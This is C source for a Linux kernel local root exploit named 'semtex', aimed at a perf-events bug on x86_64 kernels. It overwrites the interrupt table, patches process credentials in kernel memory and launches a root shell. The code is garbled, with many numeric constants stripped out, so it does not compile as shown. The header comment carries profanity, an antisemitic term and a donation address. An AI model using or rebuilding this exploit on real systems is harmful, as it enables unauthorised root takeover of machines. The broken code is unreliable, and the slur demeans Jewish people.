linux 2.6.37-3.x.x x86_64

/*
 * linux 2.6.37-3.x.x x86_64, ~100 LOC
 * gcc-4.6 -O2 semtex.c && ./a.out
 * 2010 sd@fucksheep.org, salut!
 *
 * update may 2013:
 * seems like centos 2.6.32 backported the perf bug, lol.
 * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
 */

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

void fuck() {
  int i,j,k;
  uint64_t uids[] = { AB(), AB(), AB(), AB() };
  uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-));
  uint64_t kbase = ((uint64_t)current)>>;
  uint32_t *fixptr = (void*) AB();
  *fixptr = -;

  for (i=; i<; i+=) {
    uint64_t *p = (void *)&current[i];
    uint32_t *t = (void*) p[];
    if ((p[] != p[]) || ((p[]>>) != kbase)) continue;
    for (j=; j<; j++) { for (k = ; k < ; k++)
      if (((uint32_t*)uids)[k] != t[j+k]) goto next;
      for (i = ; i < ; i++) t[j+i] = ;
      for (i = ; i < ; i++) t[j++i] = -;
      return;
next:;    }
  }
}

void sheep(uint32_t off) {
  uint64_t buf[] = { 0x4800000001,off,,,,0x300 };
  int fd = syscall(, buf, , -, -, );
  assert(!close(fd));
}

int  main() {
  uint64_t  u,g,needle, kbase, *p; uint8_t *code;
  uint32_t *map, j = ;
  int i;
  struct {
    uint16_t limit;
    uint64_t addr;
  } __attribute__((packed)) idt;
  assert((map = mmap((void*)BASE, SIZE, , 0x32, ,)) == (void*)BASE);
  memset(map, , SIZE);
  sheep(-); sheep(-);
  for (i = ; i < SIZE/; i++) if (map[i]) {
    assert(map[i+]);
    break;
  }
  assert(i<SIZE/);
  asm ("sidt %0" : "=m" (idt));
  kbase = idt.addr & 0xff000000;
  u = getuid(); g = getgid();
  assert((code = (void*)mmap((void*)kbase, KSIZE, , 0x32, , )) == (void*)kbase);
  memset(code, 0x90, KSIZE); code += KSIZE-; memcpy(code, &fuck, );
  memcpy(code-,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
    printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % );
  setresuid(u,u,u); setresgid(g,g,g);
  while (j--) {
    needle = AB(j+);
    assert(p = memmem(code, , &needle, ));
    if (!p) continue;
    *p = j?((g<<)|u):(idt.addr + 0x48);
  }
  sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/) + );
  asm("int $0x4");  assert(!setuid());
  return execl("/bin/bash", "-sh", NULL);
}